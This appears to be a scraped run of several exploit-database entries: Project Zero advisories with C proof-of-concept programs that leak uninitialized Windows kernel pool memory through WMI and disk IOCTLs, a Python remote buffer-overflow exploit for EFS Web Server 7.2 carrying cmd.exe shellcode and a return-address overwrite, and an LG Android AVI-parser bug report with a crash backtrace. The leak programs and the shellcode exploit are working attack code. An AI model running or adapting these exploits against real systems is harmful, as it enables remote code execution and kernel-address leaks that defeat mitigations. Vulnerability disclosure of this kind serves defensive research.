The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 88 01 00 00 10 8d de 8f 00 00 00 00 88 01 00 00 ................
00000010: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e......
00000020: a5 01 00 a0 c9 06 29 10 00 00 00 00 81 00 01 00 ......).........
00000030: 48 00 00 00 01 00 00 00 dc 00 00 00 48 00 00 00 H...........H...
00000040: 92 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........).....
00000050: 00 56 f8 05 00 00 00 00 78 b4 41 3c 00 00 00 00 .V......x.A<....
00000060: e8 03 6b 03 00 00 00 00 30 9e 33 7f 8d 00 00 00 ..k.....0.3.....
00000070: 69 5b 00 00 03 44 00 00 00 00 00 00 9b 01 00 00 i[...D..........
00000080: 30 8c ea b5 a6 91 d2 01 00 00 00 00 50 00 61 00 0...........P.a.
00000090: 72 00 74 00 6d 00 67 00 72 00 20 00 00 00 00 00 r.t.m.g.r. .....
000000a0: 38 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 8.\.D.e.v.i.c.e.
000000b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s.
000000c0: 6b 00 30 00 5c 00 50 00 61 00 72 00 74 00 69 00 k.0.\.P.a.r.t.i.
000000d0: 74 00 69 00 6f 00 6e 00 30 00[ad ad]e0 00 00 00 t.i.o.n.0.......
000000e0: 9c 00 49 00 44 00 45 00 5c 00 44 00 69 00 73 00 ..I.D.E.\.D.i.s.
000000f0: 6b 00 56 00 42 00 4f 00 58 00 5f 00 48 00 41 00 k.V.B.O.X._.H.A.
00000100: 52 00 44 00 44 00 49 00 53 00 4b 00 5f 00 5f 00 R.D.D.I.S.K._._.
00000110: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000120: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000130: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000140: 5f 00 31 00 2e 00 30 00 5f 00 5f 00 5f 00 5f 00 _.1...0._._._._.
00000150: 5f 00 5c 00 35 00 26 00 33 00 33 00 64 00 31 00 _.\.5.&.3.3.d.1.
00000160: 36 00 33 00 38 00 61 00 26 00 30 00 26 00 30 00 6.3.8.a.&.0.&.0.
00000170: 2e 00 30 00 2e 00 30 00 5f 00 30 00 00 00[ad ad]..0...0._.0.....
00000180:[ad ad ad ad ad ad ad ad]72 01 00 00 20 0e d1 8f ........r... ...
00000190:[ad ad ad ad]78 01 00 00 30 8c ea b5 a6 91 d2 01 ....x...0.......
000001a0: d1 65 d8 bd c1 d7 d0 11 a5 01 00 a0 c9 06 29 10 .e............).
000001b0:[ad ad ad ad]81 00 01 00 48 00 00 00 01 00 00 00 ........H.......
000001c0: d0 00 00 00 48 00 00 00 88 00 00 00[ad ad ad ad]....H...........
000001d0: 00 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 28 a0 00 00 00 00 00 00 ........(.......
000001f0: 20 07 d9 9e 8d 00 00 00 00 00 00 00 1e 00 00 00  ...............
00000200: 00 00 00 00 00 00 00 00 30 8c ea b5 a6 91 d2 01 ........0.......
00000210: 01 00 00 00 56 00 4f 00 4c 00 4d 00 47 00 52 00 ....V.O.L.M.G.R.
00000220: 20 00 20 00 00 00 00 00 2e 00 5c 00 44 00 65 00  . .......\.D.e.
00000230: 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 72 00 v.i.c.e.\.H.a.r.
00000240: 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 6c 00 d.d.i.s.k.V.o.l.
00000250: 75 00 6d 00 65 00 31 00 d4 00 00 00 92 00 53 00 u.m.e.1.......S.
00000260: 54 00 4f 00 52 00 41 00 47 00 45 00 5c 00 56 00 T.O.R.A.G.E.\.V.
00000270: 6f 00 6c 00 75 00 6d 00 65 00 5c 00 7b 00 62 00 o.l.u.m.e.\.{.b.
00000280: 63 00 30 00 35 00 62 00 34 00 39 00 31 00 2d 00 c.0.5.b.4.9.1.-.
00000290: 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 65 00 d.8.4.7.-.1.1.e.
000002a0: 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 38 00 4.-.a.3.0.d.-.8.
000002b0: 30 00 36 00 65 00 36 00 66 00 36 00 65 00 36 00 0.6.e.6.f.6.e.6.
000002c0: 39 00 36 00 33 00 7d 00 23 00 30 00 30 00 30 00 9.6.3.}.#.0.0.0.
000002d0: 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0.0.0.0.0.0.0.1.
000002e0: 30 00 30 00 30 00 30 00 30 00 5f 00 30 00 00 00 0.0.0.0.0._.0...
000002f0:[ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad]................
00000300: 72 01 00 00 20 ae d3 8f[ad ad ad ad]00 00 00 00 r... ...........
00000310: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e......
00000320: a5 01 00 a0 c9 06 29 10[ad ad ad ad]81 00 01 00 ......).........
00000330: 48 00 00 00 01 00 00 00 d0 00 00 00 48 00 00 00 H...........H...
00000340: 88 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........).....
00000350: 00 4e f6 05 00 00 00 00 98 72 59 3c 00 00 00 00 .N.......rY<....
00000360: b0 f4 75 03 00 00 00 00 38 80 1c 7f 8d 00 00 00 ..u.....8.......
00000370: 69 5b 00 00 e5 43 00 00 00 00 00 00 9b 01 00 00 i[...C..........
00000380: 30 8c ea b5 a6 91 d2 01 02 00 00 00 56 00 4f 00 0...........V.O.
00000390: 4c 00 4d 00 47 00 52 00 20 00 20 00 00 00 00 00 L.M.G.R. . .....
000003a0: 2e 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 ..\.D.e.v.i.c.e.
000003b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s.
000003c0: 6b 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 k.V.o.l.u.m.e.2.
000003d0: d4 00 00 00 92 00 53 00 54 00 4f 00 52 00 41 00 ......S.T.O.R.A.
000003e0: 47 00 45 00 5c 00 56 00 6f 00 6c 00 75 00 6d 00 G.E.\.V.o.l.u.m.
000003f0: 65 00 5c 00 7b 00 62 00 63 00 30 00 35 00 62 00 e.\.{.b.c.0.5.b.
00000400: 34 00 39 00 31 00 2d 00 64 00 38 00 34 00 37 00 4.9.1.-.d.8.4.7.
00000410: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3.
00000420: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6.
00000430: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}.
00000440: 23 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 #.0.0.0.0.0.0.0.
00000450: 30 00 30 00 36 00 35 00 30 00 30 00 30 00 30 00 0.0.6.5.0.0.0.0.
00000460: 30 00 5f 00 30 00 00 00[ad ad ad ad ad ad ad ad]0._.0...........
00000470:[ad ad ad ad ad ad ad ad]?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---

In order to make the PoC code more elegant and portable, we have used the high-level functions available in advapi32.dll (WmiOpenBlock, WmiQueryAllDataW, WmiCloseBlock) with their reverse-engineered declarations, instead of sending the IOCTLs directly to the device.

Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  HMODULE hAdvapi32 = LoadLibrary(L"advapi32.dll");
  DWORD (WINAPI *WmiOpenBlock)(
    _In_  GUID  *DataBlockGuid,
    _In_  ULONG DesiredAccess,
    _Out_ PVOID *DataBlockObject
    ) = (DWORD (WINAPI *)(GUID *, ULONG, PVOID *))GetProcAddress(hAdvapi32, "WmiOpenBlock");
  DWORD (WINAPI *WmiQueryAllDataW)(
    _In_      PVOID DataBlockObject,
    _Inout_   ULONG *InOutBufferSize,
    _Out_opt_ PVOID OutBuffer
    ) = (DWORD (WINAPI *)(PVOID, ULONG *, PVOID))GetProcAddress(hAdvapi32, "WmiQueryAllDataW");
  DWORD(WINAPI *WmiCloseBlock)(
    _In_ HANDLE Handle
    ) = (DWORD (WINAPI *)(HANDLE))GetProcAddress(hAdvapi32, "WmiCloseBlock");

  // Open the disk perf WMI block.
  DWORD DiskPerfGuid[] = { 0xBDD865D1, 0x11D0D7C1, 0xA00001A5, 0x102906C9 };
  HANDLE hwmi = NULL;
  DWORD st = WmiOpenBlock((GUID *)DiskPerfGuid, GENERIC_READ, &hwmi);

  if (st != ERROR_SUCCESS) {
    printf("WmiOpenBlock failed, %d\n", st);
    return 1;
  }
  
  // Request the necessary buffer size.
  DWORD InOutBufferSize = 0;
  st = WmiQueryAllDataW(hwmi, &InOutBufferSize, NULL);
  if (st != ERROR_INSUFFICIENT_BUFFER) {
    printf("WmiQueryAllDataW#1 failed, %d\n", st);
    WmiCloseBlock(hwmi);
    return 1;
  }

  // Allocate memory and read the output data in full.
  LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, InOutBufferSize);
  st = WmiQueryAllDataW(hwmi, &InOutBufferSize, lpBuffer);
  if (st == ERROR_SUCCESS) {
    PrintHex((PBYTE)lpBuffer, InOutBufferSize);
  } else {
    printf("WmiQueryAllDataW#2 failed, %d\n", st);
  }

  // Free resources.
  HeapFree(GetProcessHeap(), 0, lpBuffer);
  WmiCloseBlock(hwmi);

  return 0;
}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1154

We have discovered that the handler of the IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS IOCTL in volmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a VOLUME_DISK_EXTENTS structure [1], which in turn contains a list of DISK_EXTENT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the uninitialized bytes correspond to alignment holes after the NumberOfDiskExtents and DiskNumber fields (both of type DWORD, but there is an 8-byte alignment due to other LARGE_INTEGER fields). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 01 00 00 00[b3 b3 b3 b3]00 00 00 00[b3 b3 b3 b3]................
00000010: 00 00 50 06 00 00 00 00 00 00 90 39 06 00 00 00 ..P........9....
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Open the disk device.
  HANDLE hDisk = CreateFile(L"\\\\.\\C:",
                            0,
                            0,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
  if (hDisk == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }
  
  // Obtain the output data, assuming that it will fit into 128 bytes.
  BYTE extents[128];
  DWORD BytesReturned;
  if (!DeviceIoControl(hDisk, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, NULL, 0, &extents, sizeof(extents), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hDisk);
    return 1;
  }

  // Dump the output data on screen and free resources.
  PrintHex(extents, BytesReturned);
  CloseHandle(hDisk);

  return 0;
}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1156&desc=2

We have discovered that the handler of the IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL in partmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: bf 0c 00 00 00 00 00 00 0c 00 00 00 ff 00 00 00 ................
00000010: 3f 00 00 00 00 02 00 00 00 00 00 40 06 00 00 00 ?..........@....
00000020: 18 00 00 00 00 00 00 00 ee a2 5d 9f 00 00 00 00 ..........].....
00000030: 00 00 00 00 00 00 00 00 38 00 00 00 01 00 00 00 ........8.......
00000040: 80 00[c1 c1]ff 03 00 00 3f 00 fe 00 01 00[c1 c1]........?.......
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Open the disk device.
  HANDLE hDisk = CreateFile(L"\\\\.\\C:",
                            0,
                            0,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
  if (hDisk == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }

  // Obtain the output data, assuming that it will fit into 1024 bytes.
  BYTE geometry[1024];
  DWORD BytesReturned;
  if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, NULL, 0, &geometry, sizeof(geometry), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hDisk);
    return 1;
  }

  // Dump the output data on screen and free resources.
  PrintHex(geometry, BytesReturned);
  CloseHandle(hDisk);

  return 0;
}
HireHackking 
#!/usr/bin/python

# Title : EFS Web Server 7.2 POST HTTP Request Buffer Overflow
# Author : Touhid M.Shaikh
# Date : 12 June, 2017
# Contact: touhidshaikh22@gmail.com
# Version: 7.2
# category: Remote Exploit
# Tested on: Windows XP SP3 EN [Version 5.1.2600]


"""
######## Description ########

    What is Easy File Sharing Web Server 7.2 ?
    Easy File Sharing Web Server is a file sharing software that allows
visitors to upload/download files easily through a Web Browser. It can help
you share files with your friends and colleagues. They can download files
from your computer or upload files from theirs.They will not be required to
install this software or any other software because an internet browser is
enough. Easy File Sharing Web Server also provides a Bulletin Board System
(Forum). It allows remote users to post messages and files to the forum.
The Secure Edition adds support for SSL encryption that helps protect
businesses against site spoofing and data corruption.


######## Video PoC and Article ########

https://www.youtube.com/watch?v=Mdmd-7M8j-M
http://touhidshaikh.com/blog/poc/EFSwebservr-postbufover/

 """

import httplib


total = 4096

#Shellcode Open CMD.exe
shellcode = (
"\x8b\xec\x55\x8b\xec"
"\x68\x65\x78\x65\x2F"
"\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8"
"\xc7\x93\xc2\x77"
"\xff\xd0")


our_code = "\x90"*100 #NOP Sled
our_code += shellcode
our_code += "\x90"*(4072-100-len(shellcode))

# point Ret to Nop Sled
our_code += "\x3c\x62\x83\x01" # Overwrite RET
our_code += "\x90"*12 #Nop Sled
our_code += "A"*(total-(4072+16)) # ESP pointing



# Server address and POrt
httpServ = httplib.HTTPConnection("192.168.1.6", 80)
httpServ.connect()

httpServ.request('POST', '/sendemail.ghp',
'Email=%s&getPassword=Get+Password' % our_code)

response = httpServ.getresponse()


httpServ.close()

"""
NOTE : After Exiting to cmd.exe our server will be crash bcz of esp
Adjust esp by yourself ... hehhehhe...
"""

"""
__ __| _ \  |   | |   |_ _| __ \
   |  |   | |   | |   |  |  |   |
   |  |   | |   | ___ |  |  |   |
  _| \___/ \___/ _|  _|___|____/

Touhid M.Shaikh
"""
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1221

Similar to the previously reported  issue 1206 , when parsing AVI files the 
CAVIFileParser object contains a fixed-size array of (what appears to be)
pointer/length pairs, used (I suppose) to store the data for each stream.

This is a fixed size, with 40 entries. However, it is never verified that the
number of streams in the file is less than this number; and when freeing the 
CAVIFileParser object, we will iterate through this array past the end of the
object, freeing each non-NULL pointer entry.

This presents initially as a free of an uninitialised pointer, since there is
a correctly aligned field inside the CAVIFileParser object that does not appear
to be used at all; careful heap grooming can turn this into a free of an 
attacker controlled value. It can also however be used to traverse outside the
object by ensuring that this uninitialised value is a NULL pointer, and instead 
free pointers from the object following the CAVIFileParser object, resulting in
a use-after-free.

The attached sample file (and generation script) triggers the latter case, and 
will usually crash attempting to free an invalid pointer from outside the bounds
of the CAVIFileParser object.

The two quirks of the attached sample file necessary to reach this vulnerability
are that the number of streams in the avi are larger than 40 and that the file
is truncated before the strl LIST objects are completed, to avoid triggering a 
NULL-pointer dereference attempting to retrieve the movi information for the 
file.

Build fingerprint: 'lge/p1_global_com/p1:6.0/MRA58K/1624210305d45:user/release-keys'
Revision: '11'
ABI: 'arm'
pid: 9473, tid: 9473, name: mediaserver  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xf0040070
AM write failed: Broken pipe
    r0 00000002  r1 0000000f  r2 ffffffd0  r3 f6dd12f0
    r4 f6dd12e8  r5 f0051c88  r6 f6202000  r7 f0040000
    r8 f6209008  r9 f6dc4594  sl 00000001  fp ffc82f9c
    ip f004003c  sp ffc82d38  lr f6da67a7  pc f6da3826  cpsr 200f0030

backtrace:
    #00 pc 00055826  /system/lib/libc.so (ifree+49)
    #01 pc 000587a3  /system/lib/libc.so (je_free+374)
    #02 pc 000059ad  /system/lib/liblg_parser_avi.so (_ZN14CAVIFileParser7DestroyEv+164)
    #03 pc 00005a33  /system/lib/liblg_parser_avi.so (_ZN14CAVIFileParserD1Ev+14)
    #04 pc 00005a45  /system/lib/liblg_parser_avi.so (_ZN14CAVIFileParserD0Ev+4)
    #05 pc 0000442f  /system/lib/liblg_parser_avi.so (_ZN9AVIParser5CloseEv+12)
    #06 pc 00025a49  /system/lib/libLGParserOSAL.so (_ZN7android14LGAVIExtractorC2ERKNS_2spINS_10DataSourceEEE+308)
    #07 pc 00022a67  /system/lib/libLGParserOSAL.so (_ZN7android15LGExtractorOSAL17CreateLGExtractorERKNS_2spINS_10DataSourceEEEPKcRKNS1_INS_8AMessageEEE+38)
    #08 pc 000c033b  /system/lib/libstagefright.so (_ZN7android14MediaExtractor6CreateERKNS_2spINS_10DataSourceEEEPKc+242)
    #09 pc 000d66db  /system/lib/libstagefright.so (_ZN7android28StagefrightMetadataRetriever13setDataSourceERKNS_2spINS_10DataSourceEEE+34)
    #10 pc 000591e3  /system/lib/libmediaplayerservice.so (_ZN7android23MetadataRetrieverClient13setDataSourceERKNS_2spINS_11IDataSourceEEE+82)
    #11 pc 0008e329  /system/lib/libmedia.so (_ZN7android24BnMediaMetadataRetriever10onTransactEjRKNS_6ParcelEPS1_j+468)
    #12 pc 00019931  /system/lib/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+60)
    #13 pc 0001eccb  /system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+550)
    #14 pc 0001ee35  /system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+64)
    #15 pc 0001ee99  /system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+48)
    #16 pc 00001c15  /system/bin/mediaserver
    #17 pc 000174a9  /system/lib/libc.so (__libc_init+44)
    #18 pc 00001e68  /system/bin/mediaserver


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42169.zip